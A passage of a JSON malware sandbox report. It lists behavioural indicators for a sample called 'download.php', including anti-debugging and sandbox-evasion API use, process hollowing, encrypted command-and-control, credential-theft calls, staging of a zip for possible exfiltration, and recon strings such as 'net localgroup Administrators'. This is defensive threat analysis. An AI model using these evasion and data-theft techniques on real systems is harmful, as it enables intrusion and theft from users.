\"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"Aest\" (Indicator: \"Aes\"; Source: \"00000000-00004360.00000000.172778.00FF9000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\S; Source: \"00000000-00004360.00000000.172778.00FF9000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"tasklist.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at 06610000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00007244]\n Process \"WerFault.exe\" [UID: 00000000-00006356]\n Process \"WerFault.exe\" [UID: 00000000-00005748]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"download.php\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"download.php\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"download.php\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"download.php\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"download.php\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"download.php\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; File: \"download.php\")\n Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; Source: \"00000000-00002484.00000000.172381.013D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.991873736812267","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to import cryptographic keys (seen in ransomware)\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption\n Matched sigs: Found potential URL in binary/memory","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"Found string \"%WINDIR%\\System32\\findstr.exe\" (Source: \"00000000-00005668-00000BC0-1813960654\")\n Found string \"%WINDIR%\\system32\\findstr.exe\" (Source: \"00000000-00005668-00000C46-251948541642\")\n Found string \"findstr /c:\"6.1.7601\"\" (Source: \"00000000-00005668-00000C46-251948541642\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-688","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"nircmd.exe\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004360-00000C2B-1699897909\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"download.php\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"download.php\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"download.php\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; File: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found reference to API \"EnumSystemLocalesEx\" (Indicator: \"EnumSystemLocales\"; File: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found reference to API \"EnumSystemLocalesEx\" (Indicator: \"EnumSystemLocales\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"1Q37l5.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00002924)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"1Q37l5.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00002924)\n \"1Q37l5.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00002924)\n \"1Q37l5.exe\" called \"EnumDisplayMonitors\" with parameters (UID: 00000000-00002924)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"download.php.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002484)\n \"1Q37l5.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002924)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"1Q37l5.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002924)\n \"2e2941.exe\" called \"GetForegroundWindow\" (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"2e2941.exe\" called \"IsWow64Process\" with parameter \"4360\" - (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"nircmd.exe\" called \"EnumWindows\" with parameter \"19657728\" - (UID: 00000000-00001288)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"1Q37l5.exe\" called \"GetWindowTextW\" with parameter \"%LOCALAPPDATA%\\Temp\" - (UID: 00000000-00002924)\n \"2e2941.exe\" called \"GetWindowTextA\" with parameter \"%WINDIR%\\system32\\cmd.exe\" - (UID: 00000000-00004360)\n \"nircmd.exe\" called \"GetWindowTextA\" (UID: 00000000-00001288)\n \"nircmd.exe\" called \"GetWindowTextA\" with parameter \"Network Flyout\" - (UID: 00000000-00001288)\n \"nircmd.exe\" called \"GetWindowTextA\" with parameter \"%WINDIR%\\system32\\cmd.exe\" - (UID: 00000000-00001288)\n \"nircmd.exe\" called \"GetWindowTextA\" with parameter \"%PROGRAMFILES%\\mitmproxy\\bin\\mitmdump.exe\" - (UID: 00000000-00001288)\n \"nircmd.exe\" called \"GetWindowTextA\" with parameter \"AutoIt v3\" - (UID: 00000000-00001288)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"download.php.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002484)\n \"1Q37l5.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002924)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"1Q37l5.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00002924)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00007076)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: download.php]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: 7z.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: NSudoLG.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"download.php\")\n Found reference to API \"11902873242,6484,100,,FindWindowExW,user32.dll,\"00:44:59.671\",RX=0,PX=0\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"download.php\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"download.php\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"download.php\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"download.php\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; File: \"download.php\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"download.php\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"download.php\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; File: \"download.php\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"download.php\")\n Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; File: \"download.php\")\n Found reference to API \"GetFileTime\" (Indicator: \"GetFileTime\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"ExpandEnvironmentStringsA\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"download.php\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"download.php\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"download.php\")\n Found reference to API \"GetMonitorInfoA\" (Indicator: \"GetMonitorInfo\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve local groups information","description":"Found string \"net localgroup \"Administrators\" \"\" (Indicator: \"net localgroup\"; File: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\"), Found string \"net localgroup \"Administrators\" \"\" (Indicator: \"net localgroup\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.001","relevance":1,"id":"string-526","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"download.php\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"download.php\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"download.php\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; File: \"download.php\")\n Found reference to API \"EnumWindows\" (Indicator: \"EnumWindows\"; File: \"download.php\")\n Found reference to API \"GetWindowTextA\" (Indicator: \"GetWindowText\"; File: \"download.php\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"download.php\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindow\"; File: \"download.php\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"download.php\")\n Found reference to API \"GetWindowTextLengthA\" (Indicator: \"GetWindowText\"; File: \"download.php\")\n Found reference to API \"11902873242,6484,100,,FindWindowExW,user32.dll,\"00:44:59.671\",RX=0,PX=0\" (Indicator: \"FindWindow\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c ver\") in Source: 00000000-00005668-00000C46-39150744738\n Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"/c ver\") in Source: 00000000-00005668-00000C46-39150744738\n Observed string: \"/c ver\" (Indicator: \"/c ver\") in Source: cmd.exe","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; File: \"download.php\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; File: \"download.php\")\n Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; File: \"download.php\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; File: \"download.php\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; File: \"download.php\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; File: \"download.php\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"download.php\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"file/memory contains long string with (Indicator: \"%username%\"; File: \"RdRK6XK.bat\")\n file/memory contains long string with (Indicator: \"%processor_architecture%\"; File: \"RdRK6XK.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volatile registry keys","description":"\"NSudoLG.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\"; Key: \"\"; Value: \"\")\n \"NSudoLG.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\\1\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-139","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00003960-00000C17-1697713193\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00005668-00000C17-1715099650","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00003960-00000C17-1697713193\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00005668-00000C17-1715099650","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"1Q37l5.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"NSudoLG.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tasklist.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"1Q37l5.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\RDRK6XK.BAT\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"DKT.zip\" copied on \"%TEMP%\\Work\\DKT.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatusEx\" (Indicator: \"QueryServiceStatus\"; File: \"download.php\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"2e2941.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"download.php.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP000.TMP (UID: 00000000-00002484)\n \"1Q37l5.exe\" called \"CreateDirectoryW\" with parameter C:\\Users (UID: 00000000-00002924)\n \"1Q37l5.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00002924)\n \"1Q37l5.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData (UID: 00000000-00002924)\n \"1Q37l5.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00002924)\n \"1Q37l5.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Temp (UID: 00000000-00002924)\n \"1Q37l5.exe\" called \"CreateDirectoryW\" with parameter Work (UID: 00000000-00002924)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$2d","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00005668)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"wextract.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API 